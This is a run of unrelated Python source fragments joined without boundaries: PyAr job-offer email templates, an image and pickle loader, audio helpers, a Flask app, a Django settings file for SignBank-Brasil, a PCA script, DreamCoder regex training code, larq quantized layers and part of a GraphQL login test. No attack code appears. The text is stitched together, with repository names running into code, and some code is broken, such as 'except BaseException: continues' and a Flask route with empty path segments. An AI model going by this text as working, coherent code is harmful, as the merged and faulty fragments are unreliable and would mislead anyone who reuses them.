redes sociales. """) REJECTED_MAIL_SUBJECT = _('PyAr - Oferta de Trabajo Rechazada') REJECTED_MAIL_BODY = _(""" Le informamos que la oferta que envío a revisión ({title}) ha sido rechazada. Razón de Rechazo: {reason} Observación: {text} """) EXPIRED_OFFER_MAIL_SUBJECT = _('{title} - Caducada') EXPIRED_OFFER_MAIL_BODY = _(""" Le informamos que la oferta "{title}" ha caducado. Han pasado los {expiration_days} días desde su última activación. Puede reactivar la oferta dirigiéndose a {offer_url}. Resumen de Visitas ================== - {listing_views} Visualizaciones en listado. - {detail_views} Visualizaciones de la oferta completa. - {contact_info_views} Visualizaciones de los datos de contacto. """) OFFER_EXPIRATION_DAYS = 180 import os import pickle from functools import lru_cache import numpy as np from PIL import Image root = os.path.realpath(os.path.dirname(__file__)) def get_path(names): return os.path.join(root, *names) def load_image(name, mode=None): names = name.split('/') path = get_path(names) im = Image.open(path) if mode is not None and im.mode != mode: im = im.convert(mode) return im @lru_cache(maxsize=None) def load_image_cached(name, mode=None): return load_image(name, mode) def load_image_as_ndarray(name): return np.asarray(load_image(name)) def load_pickle(name): names = name.split('/') path = get_path(names) with open(path, 'rb') as f: result = pickle.load(f) return result def get_entries(base): findroot = get_path(base.split('/')) _, dirs, files = next(os.walk(findroot)) return (dirs, files) gautamdivgi/cookiecutter-python-thin dummy = 'This is a dummy conftest'src/main/python/shabda/helpers/audio.py # Copyright 2018 The Shabda Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ Utilities for audio related operations. """ from __future__ import absolute_import from __future__ import print_function from __future__ import division import numpy as np # import re # import os # from glob import glob # import librosa # from scipy.io import wavfile def pad_data_array(data, max_audio_length): """ To pad the audio data with zeros :param data: :param max_audio_length: :return: """ # Random offset / Padding if len(data) > max_audio_length: max_offset = len(data) - max_audio_length offset = np.random.randint(max_offset) data = data[offset:(max_audio_length + offset)] else: if max_audio_length > len(data): max_offset = max_audio_length - len(data) offset = np.random.randint(max_offset) else: offset = 0 data = np.pad(data, (offset, max_audio_length - len(data) - offset), "constant") return data def audio_norm(data): """ Normalizes the input np.array :param data: np.array :return: np.array """ max_data = np.max(data) min_data = np.min(data) data = (data - min_data) / (max_data - min_data + 1e-6) return data - 0.5 # def get_frequency_spectrum(data, sampling_rate, n_mfcc): # """ # # :param data: # :param sampling_rate: # :param n_mfcc: # :return: # """ # return librosa.feature.mfcc(data, sr=sampling_rate, n_mfcc=n_mfcc, n_fft=1024, # hop_length=345) # with sr=44KHz and hop_length=345 to get n_mfcc x 256 # # # def load_wav_audio_file(file_path): # """ # # :param file_path: # :return: # """ # data, sample_rate = librosa.core.load(file_path, sr=None, res_type="kaiser_fast") # return data, sample_rate # def prepare_words_list(possible_speech_commands, # silence_lable="_silence_", # unknown_word_label="_unknown_"): # """Prepends common tokens to the custom word list. # Args: # possible_speech_commands: List of strings containing the custom words. # Returns: # List with the standard silence and unknown tokens added. # """ # return [silence_lable, unknown_word_label] + possible_speech_commands # def prepare_audio_sampling_settings(label_count, # sample_rate, # clip_duration_ms, # window_size_ms, # window_stride_ms, # dct_coefficient_count): # """Calculates common settings needed for all models. # Args: # label_count: How many classes are to be recognized. # sample_rate: Number of audio samples per second. (Default: 16000) # clip_duration_ms: Length of each audio clip to be analyzed. (Default: 1000) # window_size_ms: Duration of frequency analysis window. (Default: 30) # window_stride_ms: How far to move in time between frequency windows. (Default: 10) # dct_coefficient_count: Number of frequency bins to use for analysis. (Default: 40) # Returns: # Dictionary containing common settings. # """ # desired_samples = int(sample_rate * clip_duration_ms / 1000) # 16000 # window_size_samples = int(sample_rate * window_size_ms / 1000) # 16000 * 30 / 1000 = 180 # window_stride_samples = int(sample_rate * window_stride_ms / 1000) # 16000 * 10 / 1000 = 160 # length_minus_window = (desired_samples - window_size_samples) # 16000 - 180 = 15020 # # if length_minus_window < 0: spectrogram_length = 0 # else: spectrogram_length = 1 + int(length_minus_window / window_stride_samples) # 1 + (15020/160) = 94 # # fingerprint_size = dct_coefficient_count * spectrogram_length # 40 * 94 = 3760 # # return { # 'desired_samples': desired_samples, # 'window_size_samples': window_size_samples, # 'window_stride_samples': window_stride_samples, # 'spectrogram_length': spectrogram_length, # 'dct_coefficient_count': dct_coefficient_count, # 'fingerprint_size': fingerprint_size, # 'label_count': label_count, # 'sample_rate': sample_rate, # } # # DATA_DIR = "../data/tensorflow_speech_recoginition_challenge/" # OUT_DIR = "tensorflow_speech_recoginition_challenge/" # paths = glob(os.path.join(DATA_DIR, 'test/audio/*wav')) # # POSSIBLE_LABELS = 'yes no up down left right on off stop go unknown'.split() # id2name = {i: name for i, name in enumerate(POSSIBLE_LABELS)} # name2id = {name: i for i, name in id2name.items()} # # # def load_data(data_dir): # ''' # trainset, valset = load_data(DATA_DIR) # # :param data_dir: # :return: # ''' # """ Return 2 lists of tuples: # [(class_id, user_id, path), ...] for train # [(class_id, user_id, path), ...] for validation # """ # # Just a simple regexp for paths with three groups: # # prefix, label, user_id # pattern = re.compile("(.+\/)?(\w+)\/([^_]+)_.+wav") # # all_files = glob(os.path.join(data_dir, 'train/audio/*/*wav')) # # with open(os.path.join(data_dir, 'train/validation_list.txt'), 'r') as fin: # validation_files = fin.readlines() # # valset = set() # for entry in validation_files: # r = re.match(pattern, entry) # if r: # valset.add(r.group(3)) # # possible = set(POSSIBLE_LABELS) # train, val = [], [] # # for entry in all_files: # r = re.match(pattern, entry) # if r: # label, uid = r.group(2), r.group(3) # if label == '_background_noise_': # label = 'silence' # if label not in possible: # label = 'unknown' # # label_id = name2id[label] # # sample = (label_id, uid, entry) # # if uid in valset: # val.append(sample) # else: # train.append(sample) # # print('There are {} train and {} val samples'.format(len(train), len(val))) # return train, val # # # def data_generator(data, params, mode='train'): # def generator(): # if mode == 'train': # np.random.shuffle(data) # # Feel free to add any augmentation # for (label_id, uid, fname) in data: # try: # _, wav = wavfile.read(fname) # wav = wav.astype(np.float32) / np.iinfo(np.int16).max # # L = 16000 # be aware, some files are shorter than 1 sec! # if len(wav) < L: # continue # # let's generate more silence! # samples_per_file = 1 if label_id != name2id['silence'] else 20 # for _ in range(samples_per_file): # if len(wav) > L: # beg = np.random.randint(0, len(wav) - L) # else: # beg = 0 # yield dict( # target=np.int32(label_id), # wav=wav[beg: beg + L], # ) # except Exception as err: # print(err, label_id, uid, fname) # # return generator 0 from flask import Flask from flask_restful import Api from endpoints.market_auction import MarketAuction app = Flask(__name__) api = Api(app) api.add_resource(MarketAuction, '/model//year/') if __name__ == '__main__': app.run(debug=True) gstvob/SignBank-Brasil import socket hostname = socket.gethostname() ROOT = '/var/www/signbank/' def get_secret(secret_name): try: with open('/run/secrets/{0}'.format(secret_name), 'r') as secret_file: return secret_file.read() except IOError: return None BASE_DIR = ROOT+'repo/' WRITABLE_FOLDER = ROOT+'writable/' # Added test database, to run unit tests using this copy of the database, use -k argument to keep test database # python bin/develop.py test -k if get_secret('signbank_user_db'): DATABASES = { 'default': { 'ENGINE': 'django.db.backends.mysql', 'NAME': get_secret('signbank_user_db'), 'USER': get_secret('signbank_user_db'), 'PASSWORD': get_secret('signbank_password_db'), 'HOST': get_secret("signbank_host_db"), 'PORT': '3306', } } else: DATABASES = {'default': { 'ENGINE': 'django.db.backends.mysql', "NAME":"signbank_new", "USER":"root", "PASSWORD":"", "HOST": "database", "PORT": "3306" } } # # DATABASES = {'default': # { # 'ENGINE': 'django.db.backends.sqlite3', # 'NAME': WRITABLE_FOLDER+'database/signbank.db', # } # } ADMINS = (('Admin', '')) # what do we call this signbank? LANGUAGE_NAME = "Português Brasileiro" COUNTRY_NAME = "Brazil" #Influences which template and css folder are used SIGNBANK_VERSION_CODE = 'global' URL = '' ALLOWED_HOSTS = ['localhost','127.0.0.1', "172.17.0.2", "signbank.libras.ufsc.br", "172.16.58.3"] gettext = lambda s: s LANGUAGES = ( ('en', gettext('English')), ('nl', gettext('Dutch')), ('zh-hans', gettext('Chinese')), ('pt-br', gettext('Brazilian Portuguese')) ) LANGUAGE_CODE = "pt-br" SEPARATE_ENGLISH_IDGLOSS_FIELD = True DEFAULT_KEYWORDS_LANGUAGE = {'language_code_2char': 'en'} FIELDS = {} FIELDS['main'] = ['useInstr','wordClass',] #''' 'locprim' ''' do lado de localizacao foi removido. FIELDS['phonology'] = ['handedness','domhndsh','subhndsh','handCh','relatArtic','localizacao','locVirtObj', 'relOriMov','relOriLoc','oriCh','contType','movSh','movDir','repeat','altern','phonOth', 'mouthG', 'mouthing', 'phonetVar','domhndsh_letter','domhndsh_number','subhndsh_letter','subhndsh_number','weakdrop','weakprop'] FIELDS['semantics'] = ['iconImg','namEnt','semField','valence'] FIELDS['frequency'] = ['tokNo','tokNoSgnr','tokNoA','tokNoSgnrA','tokNoV','tokNoSgnrV','tokNoR','tokNoSgnrR','tokNoGe','tokNoSgnrGe', 'tokNoGr','tokNoSgnrGr','tokNoO','tokNoSgnrO'] FIELDS['handshape'] = ['hsNumSel', 'hsFingSel', 'hsFingSel2', 'hsFingConf', 'hsFingConf2', 'hsAperture', 'hsSpread', 'hsFingUnsel', 'fsT', 'fsI', 'fsM', 'fsR', 'fsP', 'fs2T', 'fs2I', 'fs2M', 'fs2R', 'fs2P', 'ufT', 'ufI', 'ufM', 'ufR', 'ufP'] GLOSS_VIDEO_DIRECTORY = 'glossvideo' GLOSS_IMAGE_DIRECTORY = 'glossimage' GLOSS_SIGNWRITING_DIRECTORY = 'glossimage' CROP_GLOSS_IMAGES = True HANDSHAPE_IMAGE_DIRECTORY = 'handshapeimage' OTHER_MEDIA_DIRECTORY = WRITABLE_FOLDER+'othermedia/' WSGI_FILE = ROOT+'lib/python2.7/site-packages/signbank/wsgi.py' IMAGES_TO_IMPORT_FOLDER = WRITABLE_FOLDER+'import_images/' VIDEOS_TO_IMPORT_FOLDER = WRITABLE_FOLDER+'import_videos/' OTHER_MEDIA_TO_IMPORT_FOLDER = WRITABLE_FOLDER+'import_other_media/' SIGNBANK_PACKAGES_FOLDER = WRITABLE_FOLDER+'packages/' SHOW_MORPHEME_SEARCH = True SHOW_DATASET_INTERFACE_OPTIONS = True DEFAULT_DATASET = '' CNGT_EAF_FILES_LOCATION = WRITABLE_FOLDER+'corpus-ngt/eaf/' CNGT_METADATA_LOCATION = ROOT+'CNGT_MetadataEnglish_OtherResearchers.csv' FFMPEG_PROGRAM = "ffmpeg" TMP_DIR = "/tmp" API_FIELDS = [ 'idgloss', ] # This is a short mapping between 2 and 3 letter language code # This needs more complete solution (perhaps a library), # but then the code cn for Chinese should changed to zh. LANGUAGE_CODE_MAP = [ {2:'pt-br', 3:'ptb'}, {2:'nl',3:'nld'}, {2:'en',3:'eng'}, {2:'zh-hans',3:'chi'} ] SPEED_UP_RETRIEVING_ALL_SIGNS = True EMAIL_HOST="smtp.sistemas.ufsc.br" EMAIL_PORT=587 EMAIL_HOST_USER= get_secret('email_libras_user') EMAIL_HOST_PASSWORD= get_secret('email_libras_password') DEFAULT_FROM_EMAIL= str(EMAIL_HOST_USER)+"" EMAIL_USE_SSL=True import datetime RECENTLY_ADDED_SIGNS_PERIOD = datetime.timedelta(days=90) '''initialize''' from .backbone import Backbone from .utils import Logger, touchdir from .dataset import ImageFolder, LifeGamepca/pca_dihxy_to_pc.py #!/usr/bin/env python # -*- coding: utf-8 -*- ''' @author: ''' import sys import struct import os import numpy as np if len(sys.argv) < 5: print('Usage: % SCRIPT [input dcd] [ev file] [,ev file ....] [output average file] [output PC file]') sys.exit(2) f_dihxy = open(sys.argv[1], 'rb') f_out = open(sys.argv[-1], 'w') f_ave = open(sys.argv[-2], 'w') # Read eigen values num_ev = len(sys.argv) - 4 ev = [] for i in range(num_ev) : f_ev = open(sys.argv[i+2], 'r') ev_tmp = [] for line in f_ev : if line.find('#') != -1: continue ev_tmp.append(float(line.strip())) ev.append(np.array(ev_tmp)) f_ev.close() # Check for ev num_dimension = len(ev[0]) for v in ev : if len(v) != num_dimension : print('len(v) != num_dimension, %i' % num_dimension) sys.exit(2) # Calculate average structure (data_ave) data_ave = [0.0 for i in range(num_dimension)] num_data = 0 flg_more_data = True while (flg_more_data): num = struct.unpack('i', f_dihxy.read(4))[0] for i in range(num): #x, y = struct.unpack('dd', f_dihxy.read(16)) x, y = struct.unpack('ff', f_dihxy.read(8)) data_ave[2*i] += x data_ave[2*i+1] += y num_data += 1 char = f_dihxy.read(4) if not char: flg_more_data = False else: f_dihxy.seek(-4,os.SEEK_CUR) flg_more_data = True for i in range(len(data_ave)) : data_ave[i] /= float(num_data) f_ave.write('%12.5f\n' % data_ave[i]) f_ave.close() f_dihxy.close() f_dihxy = open(sys.argv[1], 'rb') # Calculate principal coordinate flg_more_data = True while (flg_more_data): num = struct.unpack('i', f_dihxy.read(4))[0] data = [] for i in range(num): #x, y = struct.unpack('dd', f_dihxy.read(16)) x, y = struct.unpack('ff', f_dihxy.read(8)) data.append(x - data_ave[2*i]) data.append(y - data_ave[2*i+1]) for v in ev: x = np.dot(v, np.array(data)) f_out.write('%12.5f ' % x) f_out.write('\n') char = f_dihxy.read(4) if not char: flg_more_data = False else: f_dihxy.seek(-4,os.SEEK_CUR) flg_more_data = True f_dihxy.close() f_out.close() Dragon-hxl/LARC # analog of list.py for regex tasks. Responsible for actually running the task. from dreamcoder.domains.regex.makeRegexTasks import makeOldTasks, makeLongTasks, makeShortTasks, makeWordTasks, makeNumberTasks, makeHandPickedTasks, makeNewTasks, makeNewNumberTasks from dreamcoder.domains.regex.regexPrimitives import basePrimitives, altPrimitives, easyWordsPrimitives, alt2Primitives, concatPrimitives, reducedConcatPrimitives, strConstConcatPrimitives, PRC from dreamcoder.dreamcoder import explorationCompression, Task from dreamcoder.grammar import Grammar from dreamcoder.likelihoodModel import add_cutoff_values, add_string_constants from dreamcoder.program import Abstraction, Application from dreamcoder.type import tpregex from dreamcoder.utilities import eprint, flatten, testTrainSplit, POSITIVEINFINITY import random import math import pregex as pre import os try: from dreamcoder.recognition import RecurrentFeatureExtractor, JSONFeatureExtractor class LearnedFeatureExtractor(RecurrentFeatureExtractor): H = 64 special = 'regex' def tokenize(self, examples): def sanitize(l): return [z if z in self.lexicon else "?" for z_ in l for z in (z_ if isinstance(z_, list) else [z_])] tokenized = [] for xs, y in examples: if isinstance(y, list): y = ["LIST_START"] + y + ["LIST_END"] else: y = [y] y = sanitize(y) if len(y) > self.maximumLength: return None serializedInputs = [] for xi, x in enumerate(xs): if isinstance(x, list): x = ["LIST_START"] + x + ["LIST_END"] else: x = [x] x = sanitize(x) if len(x) > self.maximumLength: return None serializedInputs.append(x) tokenized.append((tuple(serializedInputs), y)) return tokenized def __init__(self, tasks, testingTasks=[], cuda=False): self.lexicon = set(flatten((t.examples for t in tasks + testingTasks), abort=lambda x: isinstance( x, str))).union({"LIST_START", "LIST_END", "?"}) self.num_examples_list = [len(t.examples) for t in tasks] # Calculate the maximum length self.maximumLength = POSITIVEINFINITY self.maximumLength = max(len(l) for t in tasks + testingTasks for xs, y in self.tokenize(t.examples) for l in [y] + [x for x in xs]) super( LearnedFeatureExtractor, self).__init__( lexicon=list( self.lexicon), tasks=tasks, cuda=cuda, H=self.H, bidirectional=True) self.parallelTaskOfProgram = False def taskOfProgram(self, p, t): #raise NotImplementedError num_examples = random.choice(self.num_examples_list) p = p.visit(ConstantInstantiateVisitor.SINGLE) preg = p.evaluate([])(pre.String("")) t = Task("Helm", t, [((), list(preg.sample())) for _ in range(num_examples) ]) return t except: pass #in init: loop over tasks, save lengths, class ConstantInstantiateVisitor(object): def __init__(self): self.regexes = [ pre.create(".+"), pre.create("\d+"), pre.create("\w+"), pre.create("\s+"), pre.create("\\u+"), pre.create("\l+")] def primitive(self, e): if e.name == "r_const": #return Primitive("STRING", e.tp, random.choice(self.words)) s = random.choice(self.regexes).sample() #random string const s = pre.String(s) e.value = PRC(s,arity=0) return e def invented(self, e): return e.body.visit(self) def index(self, e): return e def application(self, e): return Application(e.f.visit(self), e.x.visit(self)) def abstraction(self, e): return Abstraction(e.body.visit(self)) #TODO fix class MyJSONFeatureExtractor(JSONFeatureExtractor): N_EXAMPLES = 5 def _featuresOfProgram(self, program, tp): try: preg = program.evaluate([]) # if 'left_paren' in program.show(False): #eprint("string_pregex:", string_pregex) #eprint("string_pregex:", string_pregex) except IndexError: # free variable return None except Exception as e: eprint("Exception during evaluation:", e) if "Attempt to evaluate fragment variable" in e: eprint("program (bc fragment error)", program) return None examples = [] for _ in range(self.N_EXAMPLES * 5): # oh this is arbitrary ig try: y = preg.sample() # TODO #this line should keep inputs short, so that helmholtzbatch can be large #allows it to try other samples #(Could also return None off the bat... idk which is better) #if len(y) > 20: # continue #eprint(tp, program, x, y) examples.append(y) except BaseException: continues if len(examples) >= self.N_EXAMPLES: break else: return None return examples # changed to list_features(examples) from examples def regex_options(parser): parser.add_argument("--maxTasks", type=int, default=500, help="truncate tasks to fit within this boundary") parser.add_argument( "--maxExamples", type=int, default=10, help="truncate number of examples per task to fit within this boundary") parser.add_argument("--tasks", default="long", help="which tasks to use", choices=["old", "short", "long", "words", "number", "handpicked", "new", "newNumber"]) parser.add_argument("--primitives", default="concat", help="Which primitive set to use", choices=["base", "alt1", "easyWords", "alt2", "concat", "reduced", "strConst"]) parser.add_argument("--extractor", type=str, choices=["hand", "deep", "learned", "json"], default="learned") # if i switch to json it breaks parser.add_argument("--split", metavar="TRAIN_RATIO", type=float, default=0.8, help="split test/train") parser.add_argument("-H", "--hidden", type=int, default=256, help="number of hidden units") parser.add_argument("--likelihoodModel", default="probabilistic", help="likelihood Model", choices=["probabilistic", "all-or-nothing"]) parser.add_argument("--topk_use_map", dest="topk_use_only_likelihood", action="store_false") parser.add_argument("--debug", dest="debug", action="store_true") parser.add_argument("--ll_cutoff", dest="use_ll_cutoff", nargs='*', default=False, help="use ll cutoff for training tasks (for probabilistic likelihood model only). default is False,") parser.add_argument("--use_str_const", action="store_true", help="use string constants") """parser.add_argument("--stardecay", type=float, dest="stardecay", default=0.5, help="p value for kleenestar and plus")""" # Lucas recommends putting a struct with the definitions of the primitives here. # TODO: # Build likelihood funciton # modify NN # make primitives # make tasks def main(args): """ Takes the return value of the `commandlineArguments()` function as input and trains/tests the model on regular expressions. """ #for dreaming #parse use_ll_cutoff use_ll_cutoff = args.pop('use_ll_cutoff') if not use_ll_cutoff is False: #if use_ll_cutoff is a list of strings, then train_ll_cutoff and train_ll_cutoff #will be tuples of that string followed by the actual model if len(use_ll_cutoff) == 1: train_ll_cutoff = use_ll_cutoff[0] # make_cutoff_model(use_ll_cutoff[0], tasks)) test_ll_cutoff = use_ll_cutoff[0] # make_cutoff_model(use_ll_cutoff[0], tasks)) else: assert len(use_ll_cutoff) == 2 train_ll_cutoff = use_ll_cutoff[0] #make_cutoff_model(use_ll_cutoff[0], tasks)) test_ll_cutoff = use_ll_cutoff[1] #make_cutoff_model(use_ll_cutoff[1], tasks)) else: train_ll_cutoff = None test_ll_cutoff = None regexTasks = {"old": makeOldTasks, "short": makeShortTasks, "long": makeLongTasks, "words": makeWordTasks, "number": makeNumberTasks, "handpicked": makeHandPickedTasks, "new": makeNewTasks, "newNumber": makeNewNumberTasks }[args.pop("tasks")] tasks = regexTasks() # TODO eprint("Generated", len(tasks), "tasks") maxTasks = args.pop("maxTasks") if len(tasks) > maxTasks: eprint("Unwilling to handle {} tasks, truncating..".format(len(tasks))) seed = 42 # previously this was hardcoded and never changed random.seed(seed) random.shuffle(tasks) del tasks[maxTasks:] maxExamples = args.pop("maxExamples") split = args.pop("split") test, train = testTrainSplit(tasks, split) eprint("Split tasks into %d/%d test/train" % (len(test), len(train))) test = add_cutoff_values(test, test_ll_cutoff) train = add_cutoff_values(train, train_ll_cutoff) eprint("added cutoff values to tasks, train: ", train_ll_cutoff, ", test:", test_ll_cutoff ) if args.pop("use_str_const"): assert args["primitives"] == "strConst" or args["primitives"] == "reduced" ConstantInstantiateVisitor.SINGLE = \ ConstantInstantiateVisitor() test = add_string_constants(test) train = add_string_constants(train) eprint("added string constants to test and train") for task in test + train: if len(task.examples) > maxExamples: task.examples = task.examples[:maxExamples] task.specialTask = ("regex", {"cutoff": task.ll_cutoff, "str_const": task.str_const}) task.examples = [(xs, [y for y in ys ]) for xs,ys in task.examples ] task.maxParameters = 1 # from list stuff primtype = args.pop("primitives") prims = {"base": basePrimitives, "alt1": altPrimitives, "alt2": alt2Primitives, "easyWords": easyWordsPrimitives, "concat": concatPrimitives, "reduced": reducedConcatPrimitives, "strConst": strConstConcatPrimitives }[primtype] extractor = { "learned": LearnedFeatureExtractor, "json": MyJSONFeatureExtractor }[args.pop("extractor")] extractor.H = args.pop("hidden") #stardecay = args.stardecay #stardecay = args.pop('stardecay') #decaystr = 'd' + str(stardecay) import datetime timestamp = datetime.datetime.now().isoformat() outputDirectory = "experimentOutputs/regex/%s"%timestamp os.system("mkdir -p %s"%outputDirectory) args.update({ "featureExtractor": extractor, "outputPrefix": "%s/regex"%(outputDirectory), "evaluationTimeout": 0.005, "topk_use_only_likelihood": True, "maximumFrontier": 10, "compressor": args.get("compressor","ocaml") }) #### # use the #prim_list = prims(stardecay) prim_list = prims() specials = ["r_kleene", "r_plus", "r_maybe", "r_alt", "r_concat"] n_base_prim = len(prim_list) - len(specials) productions = [ (math.log(0.5 / float(n_base_prim)), prim) if prim.name not in specials else ( math.log(0.10), prim) for prim in prim_list] baseGrammar = Grammar.fromProductions(productions, continuationType=tpregex) #baseGrammar = Grammar.uniform(prims()) #for i in range(100): # eprint(baseGrammar.sample(tpregex)) #eprint(baseGrammar) #explore test_stuff = args.pop("debug") if test_stuff: eprint(baseGrammar) eprint("sampled programs from prior:") for i in range(100): #100 eprint(baseGrammar.sample(test[0].request,maximumDepth=1000)) eprint("""half the probability mass is on higher-order primitives. Therefore half of enumerated programs should have more than one node. However, we do not observe this. Instead we see a very small fraction of programs have more than one node. So something seems to be wrong with grammar.sample. Furthermore: observe the large print statement above. This prints the candidates for sampleDistribution in grammar.sample. the first element of each tuple is the probability passed into sampleDistribution. Half of the probability mass should be on the functions, but instead they are equally weighted with the constants. If you look at the grammar above, this is an error!!!! """) assert False del args["likelihoodModel"] explorationCompression(baseGrammar, train, testingTasks = test, **args) import logging import tensorflow as tf from larq import quantizers, utils, metrics as lq_metrics log = logging.getLogger(__name__) # TODO: find a good way remove duplication between QuantizerBase, QuantizerDepthwiseBase and QuantizerSeparableBase class QuantizerBase(tf.keras.layers.Layer): """Base class for defining quantized layers `input_quantizer` and `kernel_quantizer` are the element-wise quantization functions to use. If both quantization functions are `None` this layer is equivalent to `Layer`. """ def __init__( self, *args, input_quantizer=None, kernel_quantizer=None, metrics=None, **kwargs ): self.input_quantizer = quantizers.get(input_quantizer) self.kernel_quantizer = quantizers.get(kernel_quantizer) self.quantized_latent_weights = [] self.quantizers = [] self._custom_metrics = ( metrics if metrics is not None else lq_metrics.get_training_metrics() ) super().__init__(*args, **kwargs) if kernel_quantizer and not self.kernel_constraint: log.warning( "Using a weight quantizer without setting `kernel_constraint` " "may result in starved weights (where the gradient is always zero)." ) def build(self, input_shape): super().build(input_shape) if self.kernel_quantizer: self.quantized_latent_weights.append(self.kernel) self.quantizers.append(self.kernel_quantizer) if "flip_ratio" in self._custom_metrics and utils.supports_metrics(): self.flip_ratio = lq_metrics.FlipRatio( values_shape=self.kernel.shape, name=f"flip_ratio/{self.name}" ) @property def non_trainable_weights(self): weights = super().non_trainable_weights if hasattr(self, "flip_ratio"): return [ weight for weight in weights if not any(weight is metric_w for metric_w in self.flip_ratio.weights) ] return weights def call(self, inputs): if self.input_quantizer: inputs = self.input_quantizer(inputs) with utils.quantize(self, "kernel", self.kernel_quantizer) as kernel: if hasattr(self, "flip_ratio"): self.add_metric(self.flip_ratio(kernel)) return super().call(inputs) def get_config(self): config = { "input_quantizer": quantizers.serialize(self.input_quantizer), "kernel_quantizer": quantizers.serialize(self.kernel_quantizer), } return {**super().get_config(), **config} class QuantizerDepthwiseBase(tf.keras.layers.Layer): """Base class for defining quantized layers `input_quantizer` and `depthwise_quantizer` are the element-wise quantization functions to use. If both quantization functions are `None` this layer is equivalent to `Layer`. """ def __init__( self, *args, input_quantizer=None, depthwise_quantizer=None, metrics=None, **kwargs, ): self.input_quantizer = quantizers.get(input_quantizer) self.depthwise_quantizer = quantizers.get(depthwise_quantizer) self.quantized_latent_weights = [] self.quantizers = [] self._custom_metrics = ( metrics if metrics is not None else lq_metrics.get_training_metrics() ) super().__init__(*args, **kwargs) if depthwise_quantizer and not self.depthwise_constraint: log.warning( "Using a weight quantizer without setting `depthwise_constraint` " "may result in starved weights (where the gradient is always zero)." ) def build(self, input_shape): super().build(input_shape) if self.depthwise_quantizer: self.quantized_latent_weights.append(self.depthwise_kernel) self.quantizers.append(self.depthwise_quantizer) if "flip_ratio" in self._custom_metrics and utils.supports_metrics(): self.flip_ratio = lq_metrics.FlipRatio( values_shape=self.depthwise_kernel.shape, name=f"flip_ratio/{self.name}", ) @property def non_trainable_weights(self): weights = super().non_trainable_weights if hasattr(self, "flip_ratio"): return [ weight for weight in weights if not any(weight is metric_w for metric_w in self.flip_ratio.weights) ] return weights def call(self, inputs): if self.input_quantizer: inputs = self.input_quantizer(inputs) with utils.quantize( self, "depthwise_kernel", self.depthwise_quantizer ) as kernel: if hasattr(self, "flip_ratio"): self.add_metric(self.flip_ratio(kernel)) return super().call(inputs) def get_config(self): config = { "input_quantizer": quantizers.serialize(self.input_quantizer), "depthwise_quantizer": quantizers.serialize(self.depthwise_quantizer), } return {**super().get_config(), **config} class QuantizerSeparableBase(tf.keras.layers.Layer): """Base class for defining separable quantized layers `input_quantizer`, `depthwise_quantizer` and `pointwise_quantizer` are the element-wise quantization functions to use. If all quantization functions are `None` this layer is equivalent to `SeparableConv1D`. If `use_bias` is True and a bias initializer is provided, it adds a bias vector to the output. It then optionally applies an activation function to produce the final output. """ def __init__( self, *args, input_quantizer=None, depthwise_quantizer=None, pointwise_quantizer=None, metrics=None, **kwargs, ): self.input_quantizer = quantizers.get(input_quantizer) self.depthwise_quantizer = quantizers.get(depthwise_quantizer) self.pointwise_quantizer = quantizers.get(pointwise_quantizer) self.quantized_latent_weights = [] self.quantizers = [] self._custom_metrics = ( metrics if metrics is not None else lq_metrics.get_training_metrics() ) super().__init__(*args, **kwargs) if depthwise_quantizer and not self.depthwise_constraint: log.warning( "Using `depthwise_quantizer` without setting `depthwise_constraint` " "may result in starved weights (where the gradient is always zero)." ) if pointwise_quantizer and not self.pointwise_constraint: log.warning( "Using `pointwise_quantizer` without setting `pointwise_constraint` " "may result in starved weights (where the gradient is always zero)." ) def build(self, input_shape): super().build(input_shape) if self.depthwise_quantizer: self.quantized_latent_weights.append(self.depthwise_kernel) self.quantizers.append(self.depthwise_quantizer) if "flip_ratio" in self._custom_metrics and utils.supports_metrics(): self.depthwise_flip_ratio = lq_metrics.FlipRatio( values_shape=self.depthwise_kernel.shape, name=f"flip_ratio/{self.name}_depthwise", ) if self.pointwise_quantizer: self.quantized_latent_weights.append(self.pointwise_kernel) self.quantizers.append(self.pointwise_quantizer) if "flip_ratio" in self._custom_metrics and utils.supports_metrics(): self.pointwise_flip_ratio = lq_metrics.FlipRatio( values_shape=self.pointwise_kernel.shape, name=f"flip_ratio/{self.name}_pointwise", ) @property def non_trainable_weights(self): weights = super().non_trainable_weights metrics_weights = [] if hasattr(self, "depthwise_flip_ratio"): metrics_weights.extend(self.depthwise_flip_ratio.weights) if hasattr(self, "pointwise_flip_ratio"): metrics_weights.extend(self.pointwise_flip_ratio.weights) if metrics_weights: return [ weight for weight in weights if not any(weight is metric_w for metric_w in metrics_weights) ] return weights def call(self, inputs): if self.input_quantizer: inputs = self.input_quantizer(inputs) with utils.quantize( self, "depthwise_kernel", self.depthwise_quantizer ) as depthwise_kernel, utils.quantize( self, "pointwise_kernel", self.pointwise_quantizer ) as pointwise_kernel: if hasattr(self, "depthwise_flip_ratio"): self.add_metric(self.depthwise_flip_ratio(depthwise_kernel)) if hasattr(self, "pointwise_flip_ratio"): self.add_metric(self.pointwise_flip_ratio(pointwise_kernel)) return super().call(inputs) def get_config(self): config = { "input_quantizer": quantizers.serialize(self.input_quantizer), "depthwise_quantizer": quantizers.serialize(self.depthwise_quantizer), "pointwise_quantizer": quantizers.serialize(self.pointwise_quantizer), } return {**super().get_config(), **config} """ Tools for working with combinatorics """# Copyright (c) 2008-2013 Simplistix Ltd # See license.txt for license details. """ A sample module containing the kind of code that TestFixtures helps with testing """ from testfixtures.tests.sample1 import X, z try: from guppy import hpy guppy = True except ImportError: guppy = False def dump(path): if guppy: hpy().heap().stat.dump(path) from datetime import datetime, timedelta from freezegun import freeze_time from time import sleep from app.tests import BaseTest, UserFactory, test_post_graphql from app import app, db from app.helpers.authentication import current_user class TestAuthentication(BaseTest): def setUp(self): super().setUp() self.user = UserFactory.create(password="") self.login_query = """ mutation ($email: String!, $password: String!) { auth { login (email: $email, password: $password) { accessToken refreshToken } } } """ self.refresh_query = """ mutation { auth { refresh { accessToken refreshToken } } } """ self.check_query = """ query { checkAuth { success userId } } """ def test_login_fails_on_wrong_email(self): login_response = test_post_graphql( self.login_query, variables=dict(email="random-junk", password=""), ) self.assertIsNotNone(login_response.json.get("errors")) self.assertIsNone(login_response.json["data"]["auth"]["login"]) login_response = test_post_graphql( self.login_query, variables=dict(email="", password=""), ) self.assertIsNotNone(login_response.json.get("errors")) 